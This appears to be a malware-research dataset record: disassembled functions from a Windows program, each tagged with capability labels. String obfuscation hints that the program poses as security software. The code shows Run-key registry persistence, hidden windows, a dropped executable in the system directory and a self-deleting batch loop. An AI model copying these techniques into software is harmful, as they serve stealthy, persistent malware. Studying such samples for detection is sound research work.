joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002305
Capabilities:
Create shortcut via ishelllink
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x3a8]
sub esp, 0x428
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp + 0x3a4], eax
mov eax, dword [ebp + 0x3b0]
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jl 0x14002463
lea eax, [ebp - 0x78]
push eax
push 0x10
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x14002463
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x78]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
push dword [ebp - 0x78]
test eax, eax
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax]
push eax
jne 0x1400237c
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x14002463
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jl 0x14002463
lea eax, [ebp - 0x70]
push eax
push 0x14037510
push 1
push 0
push 0x14037520
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x1400245d
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push esi
push ebx
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x70]
mov esi, dword [eax]
mov eax, str.Tztufn_Tfdvsjuz_311:
call fcn.1401d88b
push eax
push dword [ebp - 0x70]
call dword [esi + 0x1c]
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push 5
push eax
call dword [ecx + 0x3c]
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push 0
push ebx
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
lea edx, [ebp - 0x7c]
push edx
push 0x14037530
push eax
call dword [ecx]
pop esi
test eax, eax
jl 0x14002454
lea ecx, [ebp - 0x6c]
lea edx, [ebp + 0x19c]
call fcn.1400cecd
mov eax, str._Tztufn_Tfdvsjuz_311:_mol
call fcn.1401d88b
mov edx, eax
lea ecx, [ebp + 0x19c]
call fcn.1400ce87
mov edx, dword [ebp - 0x80]
lea ecx, [ebp + 0x19c]
call fcn.1400cecd
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
push 1
lea edx, [ebp + 0x19c]
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp + 0x3a4]
xor ecx, ebp
call fcn.140206a2
add ebp, 0x3a8
leave
ret
Function at 0x14002478
Capabilities:
Create directory
Create shortcut via ishelllink
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x3ac]
sub esp, 0x42c
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp + 0x3a8], eax
mov eax, dword [ebp + 0x3b4]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp + 0x3b8]
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jl 0x1400262e
push edi
lea eax, [ebp - 0x74]
push eax
push 2
xor edi, edi
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x1400262d
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x74]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
push dword [ebp - 0x74]
test eax, eax
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push eax
jne 0x140024fa
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x1400262d
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, str._Tztufn_Tfdvsjuz
call fcn.1401d88b
mov edx, eax
lea ecx, [ebp - 0x68]
call fcn.1400ce87
push edi
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jl 0x1400262d
lea eax, [ebp - 0x6c]
push eax
push 0x14037510
push 1
push edi
push 0x14037520
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x14002627
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
push 5
push eax
call dword [ecx + 0x3c]
mov ecx, esi
call fcn.1400cf17
test eax, eax
je 0x140025a9
push 0x104
lea eax, [ebp + 0x1a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov edx, str._ahui.exe
lea ecx, [ebp + 0x1a0]
call fcn.1400ce87
push edi
lea edx, [ebp + 0x1a0]
push edx
jmp 0x140025ab
push edi
push esi
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
lea edx, [ebp - 0x78]
push edx
push 0x14037530
push eax
call dword [ecx]
test eax, eax
jl 0x1400261e
lea ecx, [ebp - 0x68]
lea edx, [ebp + 0x1a0]
call fcn.1400cecd
mov edx, 0x14039ce4
lea ecx, [ebp + 0x1a0]
call fcn.1400ce87
mov edx, dword [ebp - 0x7c]
lea ecx, [ebp + 0x1a0]
call fcn.1400ce87
mov edx, dword [ebp - 0x80]
lea ecx, [ebp + 0x1a0]
call fcn.1400cecd
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
push 1
lea edx, [ebp + 0x1a0]
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
mov ecx, dword [ebp + 0x3a8]
xor ecx, ebp
call fcn.140206a2
add ebp, 0x3ac
leave
ret
Function at 0x140026a6
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp + 0x194], eax
mov ecx, esi
lea edx, [ebp - 0x74]
mov dword [ebp - 0x7c], 0x104
call fcn.1400cecd
lea ecx, [ebp - 0x74]
call fcn.1400ceb1
add eax, eax
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x78]
push eax
push 0xf003f
push 0
mov eax, str.TPGUXBSF_Njdsptpgu_Xjoepxt_DvssfouWfstjpo_Svo
call fcn.1401d88b
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14002739
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push esi
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x14002739
mov ecx, ebx
call fcn.1400ceb1
add eax, eax
push eax
push ebx
push 1
push 0
push esi
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x194]
xor ecx, ebp
call fcn.140206a2
add ebp, 0x198
leave
ret

Function at 0x14002757
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp + 0x194], eax
mov eax, dword [ebp + 0x1a0]
push esi
push edi
mov dword [ebp - 0x80], eax
xor edi, edi
mov eax, str.Tztufn_Tfdvsjuz_311:
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x78], edi
call fcn.1401d88b
mov ecx, dword [ebp - 0x80]
lea edx, [ebp - 0x74]
mov esi, eax
call fcn.1400cecd
mov edx, 0x14039e34
lea ecx, [ebp - 0x74]
call fcn.1400ce87
lea eax, [ebp - 0x7c]
push eax
push 0xf003f
push edi
mov eax, str.TPGUXBSF_Njdsptpgu_Xjoepxt_DvssfouWfstjpo_Vojotubmm
call fcn.1401d88b
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14002852
lea eax, [ebp - 0x78]
push eax
mov eax, str.TztufnTfdvsjuz311:
call fcn.1401d88b
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov ecx, esi
call fcn.1400ceb1
add eax, eax
push eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 1
push edi
push str.DisplayName
push dword [ebp - 0x78]
call esi
mov ecx, ebx
call fcn.1400ceb1
add eax, eax
push eax
push ebx
push 1
push edi
push str.ShortcutPath
push dword [ebp - 0x78]
call esi
mov ecx, ebx
call fcn.1400ceb1
add eax, eax
push eax
push ebx
push 1
push edi
push str.UninstallString
push dword [ebp - 0x78]
call esi
lea ecx, [ebp - 0x74]
call fcn.1400ceb1
add eax, eax
push eax
mov eax, ecx
push eax
push 1
push edi
push str.DisplayIcon
push dword [ebp - 0x78]
call esi
push dword [ebp - 0x78]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
push dword [ebp - 0x7c]
call esi
mov ecx, dword [ebp + 0x194]
pop edi
xor ecx, ebp
pop esi
call fcn.140206a2
add ebp, 0x198
leave
ret
Function at 0x14002e76
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x50]
cmp eax, dword [esp + 8]
jne 0x14002eba
mov ecx, dword [esp + 0xc]
cmp ecx, dword [esi + 0x114]
jne 0x14002eba
push ecx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push dword [0x14047be0]
mov al, 1
call fcn.1401e5fe
push 0
push dword [esi + 0x50]
mov byte [esi + 0x92], 0
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.1401d86e
xor eax, eax
pop esi
ret 0xc
Function at 0x14005e23
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x14036987
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x14045524]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
push dword [ebp + 8]
mov edi, dword [0x1404805c]
push edi
call fcn.14005d56
xor esi, esi
mov dword [esp + 0x14], eax
cmp eax, esi
je 0x14006055
lea ecx, [edi + 0x114]
mov eax, dword [ecx]
mov dword [eax + 0x18c], esi
mov edx, dword [ecx]
push 0x64
pop eax
mov dword [edx + 0x190], eax
mov ecx, dword [ecx]
call fcn.14005463
push dword [esp + 0x14]
call fcn.14007aa9
pop ecx
test al, al
je 0x14006055
push 0x401
push dword [0x14047be0]
call dword [sym.imp.USER32.dll_KillTimer]
push 1
call fcn.1400b679
push 0x12c
call fcn.14020b10
mov ebx, eax
pop ecx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x28], esi
cmp ebx, esi
je 0x14005efc
push 0x96
push 0x118
push 0x30
push str.Registered
call fcn.1400cc16
push eax
push str.Registration
call fcn.1400cc16
mov ecx, dword [edi + 0x50]
mov edx, eax
call fcn.14018182
mov esi, eax
or dword [esp + 0x28], 0xffffffff
test esi, esi
je 0x1400604b
mov ecx, str.Registration
call fcn.1400cb0b
mov eax, dword [esi + 0x120]
mov dword [eax + 0x11c], 0x10
mov eax, dword [esi + 0x120]
mov ebx, dword [eax]
push str.Registered
sub ebx, 0xffffff80
call fcn.1400cc16
mov ecx, dword [esi + 0x120]
push eax
call dword [ebx]
mov eax, dword [esi + 0x120]
push 0x32
pop ecx
mov edx, 0xe6
call fcn.1401e566
mov eax, dword [esi + 0x120]
mov edx, dword [eax + 8]
mov ecx, dword [eax + 0xc]
add edx, 0x28
call fcn.1401e54c
mov eax, dword [esi + 0x120]
mov dword [eax + 0x118], 0x10
call fcn.14002924
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax]
mov eax, dword [0x14047ba0]
test eax, eax
je 0x14005fa0
push 0
push dword [eax + 0x50]
mov byte [eax + 0x92], 0
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x14047be4]
test eax, eax
je 0x14005fbb
push 0
push dword [eax + 0x50]
mov byte [eax + 0x92], 0
call dword [sym.imp.USER32.dll_ShowWindow]
push 8
push dword [0x14047c0c]
call fcn.140096bf
push 1
call fcn.1400b679
push dword [0x14047be0]
mov al, 1
call fcn.1401e5fe
push dword [esp + 0x14]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov ecx, 0x1403a43c
call fcn.1400cb0b
push str.BtnContinue
lea ebx, [edi + 0x118]
call fcn.1400cc16
mov esi, dword [ebx]
push eax
call fcn.1401e488
mov esi, dword [ebx]
call fcn.1401e68e
mov edi, dword [edi + 0x11c]
xor esi, esi
push esi
push dword [edi + 0x50]
mov byte [edi + 0x92], 0
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x14047c0c]
mov eax, dword [eax + 0x120]
mov eax, dword [eax + 0x158]
push esi
push esi
push 0x202
push dword [eax + 0x50]
call dword [sym.imp.USER32.dll_PostMessageW]
jmp 0x14006055
push dword [esp + 0x14]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
xor eax, eax
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x140066a1
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x50]
cmp ecx, dword [esp + 8]
jne 0x140066d8
mov eax, dword [esi + 0x114]
cmp dword [esp + 0xc], eax
jne 0x140066d8
push eax
push ecx
call dword [sym.imp.USER32.dll_KillTimer]
push 0
push dword [esi + 0x50]
mov byte [esi + 0x92], 0
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.1401d86e
xor eax, eax
pop esi
ret 0xc
Function at 0x1400705a
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x50]
cmp eax, dword [esp + 8]
jne 0x1400708c
mov ecx, dword [esp + 0xc]
cmp ecx, dword [esi + 0x114]
jne 0x1400708c
push ecx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 0
push dword [esi + 0x50]
mov byte [esi + 0x92], 0
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 0xc

Function at 0x14007b72
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x39c]
sub esp, 0x41c
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp + 0x398], eax
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jl 0x14007c51
lea eax, [ebp - 0x80]
push eax
push 0x10
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x14007c51
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
test eax, eax
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
jne 0x14007bdd
push dword [ebp - 0x80]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x14007c51
push esi
push dword [ebp - 0x80]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ecx, [ebp - 0x78]
lea edx, [ebp + 0x190]
call fcn.1400cecd
mov eax, str._Tztufn_Tfdvsjuz_mol
call fcn.1401d88b
mov edx, eax
lea ecx, [ebp + 0x190]
call fcn.1400ce87
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp + 0x190]
push eax
call esi
lea ecx, [ebp - 0x78]
lea edx, [ebp + 0x190]
call fcn.1400cecd
mov eax, str._Tztufn_Tfdvsjuz_311:_mol
call fcn.1401d88b
mov edx, eax
lea ecx, [ebp + 0x190]
call fcn.1400ce87
lea eax, [ebp + 0x190]
push eax
call esi
pop esi
mov ecx, dword [ebp + 0x398]
xor ecx, ebp
call fcn.140206a2
add ebp, 0x39c
leave
ret
Function at 0x14007c66
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x674
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
push 0x24c
lea eax, [ebp - 0x664]
push esi
push eax
mov dword [ebp - 0x668], esi
call fcn.140209d0
add esp, 0xc
lea eax, [ebp - 0x66c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jl 0x14007e1a
lea eax, [ebp - 0x670]
push eax
push 2
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x14007e1a
lea eax, [ebp - 0x418]
push eax
push dword [ebp - 0x670]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
push dword [ebp - 0x670]
test eax, eax
mov eax, dword [ebp - 0x66c]
mov ecx, dword [eax]
push eax
jne 0x14007cfe
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x66c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x14007e1a
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x66c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, str._Tztufn_Tfdvsjuz
call fcn.1401d88b
mov edx, eax
lea ecx, [ebp - 0x418]
call fcn.1400ce87
lea ecx, [ebp - 0x418]
lea edx, [ebp - 0x210]
call fcn.1400cecd
mov edx, str..
lea ecx, [ebp - 0x210]
call fcn.1400ce87
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x14007ddf
lea eax, [ebp - 0x63c]
push 0x1403abe4
push eax
call fcn.14021170
pop ecx
pop ecx
test eax, eax
je 0x14007dcd
lea eax, [ebp - 0x63c]
push 0x1403abe8
push eax
call fcn.14021170
pop ecx
pop ecx
test eax, eax
je 0x14007dcd
lea ecx, [ebp - 0x418]
lea edx, [ebp - 0x210]
call fcn.1400cecd
mov edx, 0x14039ce4
lea ecx, [ebp - 0x210]
call fcn.1400ce87
lea edx, [ebp - 0x63c]
lea ecx, [ebp - 0x210]
call fcn.1400ce87
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x668]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14007d60
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x80
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea eax, [ebp - 0x418]
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x14007e1a
lea eax, [ebp - 0x418]
push eax
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.140206a2
leave
ret
Function at 0x14007e27
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea ecx, [ebp - 8]
push ecx
xor eax, eax
push 0xf003f
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14007eba
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov ebx, str.TztufnTfdvsjuz311:
mov eax, ebx
call fcn.1401d88b
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov edi, str.DisplayName
push edi
push dword [ebp - 4]
call esi
push str.ShortcutPath
push dword [ebp - 4]
call esi
push edi
push dword [ebp - 4]
call esi
push str.DisplayIcon
push dword [ebp - 4]
call esi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
mov eax, ebx
call fcn.1401d88b
push eax
push dword [ebp - 8]
call esi
push dword [ebp - 8]
call edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x14007ebc
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.14007b72
call fcn.14007c66
call fcn.14007e27
mov ecx, dword [0x14047c10]
lea edx, [ebp - 0x210]
call fcn.1400cecd
push dword [0x14047cd4]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x418]
push 0x1403ac58
push eax
mov eax, 0x104
call fcn.1400d70a
add esp, 0x10
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.140206a2
leave
ret
Function at 0x14007f2e
Capabilities:
Create process on windows
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x103
xor ebx, ebx
push esi
lea eax, [ebp - 0x10f]
push ebx
push eax
mov byte [ebp - 0x110], bl
call fcn.140209d0
add esp, 0xc
push esi
lea eax, [ebp - 0x217]
push ebx
push eax
mov byte [ebp - 0x218], bl
call fcn.140209d0
add esp, 0xc
push 0x400
call fcn.14020f34
pop ecx
mov dword [ebp - 0x220], eax
call fcn.14007b43
mov edi, eax
mov eax, dword [0x14047c40]
call fcn.1400dce4
inc esi
mov eax, esi
call fcn.1400dcd5
push 0x1403ac68
mov dword [0x14047c40], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push edi
push str._ws_08d._ws
push dword [0x14047c40]
mov eax, esi
call fcn.1400d70a
mov eax, dword [0x14047c40]
add esp, 0x14
push ebx
push 0x80
push 2
push ebx
push 2
push 0x1f01ff
push eax
mov dword [0x14047b8c], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [0x14047bf8]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x224]
push eax
push ebx
lea eax, [ebp - 0x110]
push esi
push eax
call fcn.1400ceb1
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push eax
push ecx
push ebx
push 1
call edi
mov ecx, dword [0x14047b8c]
lea eax, [ebp - 0x224]
push eax
push ebx
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.1400ceb1
push eax
push ecx
push ebx
push 1
call edi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x110]
mov esi, dword [ebp - 0x220]
push eax
push eax
push str._ECHO_OFF_r_n:Repeat_r_nerase___s____nul_r_nif_exist___s__goto_Repeat_r_nerase___s____nul
push esi
call fcn.1400d71d
add esp, 0x14
lea eax, [ebp - 0x228]
push ebx
push eax
mov ecx, esi
call fcn.1400ce70
push eax
push esi
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
push dword [0x14047b8c]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, esi
call fcn.1400dce4
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1400a111
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x46c
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x14047c84]
push ebx
push esi
push edi
lea edx, [ebp - 0x210]
mov dword [ebp - 0x46c], ecx
mov byte [ebp - 0x461], 0
call fcn.1400cecd
mov edx, str..exe
lea ecx, [ebp - 0x210]
call fcn.1400ce87
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x468], eax
cmp eax, 0xffffffff
je 0x1400a228
mov eax, 0x104
call fcn.1400dcd5
lea ecx, [ebp - 0x434]
mov esi, eax
call fcn.1400ceb1
mov edi, eax
push edi
mov edx, esi
xor ebx, ebx
call fcn.1400ceed
pop ecx
dec edi
test edi, edi
jle 0x1400a1d0
cmp word [ebp + edi*2 - 0x434], 0x2e
jne 0x1400a19c
test edi, edi
jle 0x1400a1ca
lea eax, [ebp - 0x434]
mov ecx, esi
sub eax, esi
mov edx, edi
mov ebx, edi
mov di, word [eax + ecx]
mov word [ecx], di
inc ecx
inc ecx
dec edx
jne 0x1400a1be
xor eax, eax
mov word [esi + ebx*2], ax
call fcn.1400a0d0
test al, al
jne 0x1400a1f9
mov eax, esi
call fcn.1400dce4
lea eax, [ebp - 0x460]
push eax
push dword [ebp - 0x468]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400a178
jmp 0x1400a228
mov ecx, dword [ebp - 0x46c]
mov edx, 0x14039ce4
call fcn.1400ce87
mov ecx, dword [ebp - 0x46c]
lea edx, [ebp - 0x434]
call fcn.1400ce87
mov eax, esi
mov byte [ebp - 0x461], 1
call fcn.1400dce4
push dword [ebp - 0x468]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x461]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.140206a2
leave
ret
Function at 0x1400a249
Capabilities:
Check if file exists
Enumerate files on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x14047b90]
push ebx
push esi
push edi
mov byte [ebp - 0x259], 0
call fcn.1400dce4
mov esi, 0x104
mov eax, esi
call fcn.1400dcd5
cmp dword [0x14047c84], 0
mov dword [0x14047b90], eax
jne 0x1400a296
mov eax, esi
call fcn.1400dcd5
mov dword [0x14047c84], eax
push dword [0x14047b90]
call fcn.140080ab
mov esi, dword [0x14047c84]
pop ecx
mov ecx, dword [0x14047b90]
mov edx, esi
call fcn.1400cecd
mov edx, 0x1403b2c8
mov ecx, esi
call fcn.1400ce87
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1400a390
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea esi, [ebp - 0x22c]
call fcn.1400a0d0
test al, al
je 0x1400a37a
mov eax, esi
push eax
push eax
push dword [0x14047b90]
push 0x1403b2cc
push dword [0x14047c84]
call fcn.1400d6f2
add esp, 0x14
push dword [0x14047c84]
call edi
cmp eax, 0xffffffff
jne 0x1400a3ac
mov eax, esi
push eax
push eax
push dword [0x14047b90]
push str._s_spc_sreg
push dword [0x14047c84]
call fcn.1400d6f2
add esp, 0x14
push dword [0x14047c84]
call edi
cmp eax, 0xffffffff
jne 0x1400a3ac
mov esi, dword [0x14047c84]
mov ecx, dword [0x14047b90]
mov edx, esi
call fcn.1400cecd
lea edx, [ebp - 0x22c]
mov ecx, esi
call fcn.1400ce87
call fcn.1400a111
mov byte [ebp - 0x259], al
test al, al
jne 0x1400a3ac
lea eax, [ebp - 0x258]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400a2e0
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [ebp - 0x259]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.140206a2
leave
ret
mov al, 1
jmp 0x1400a39d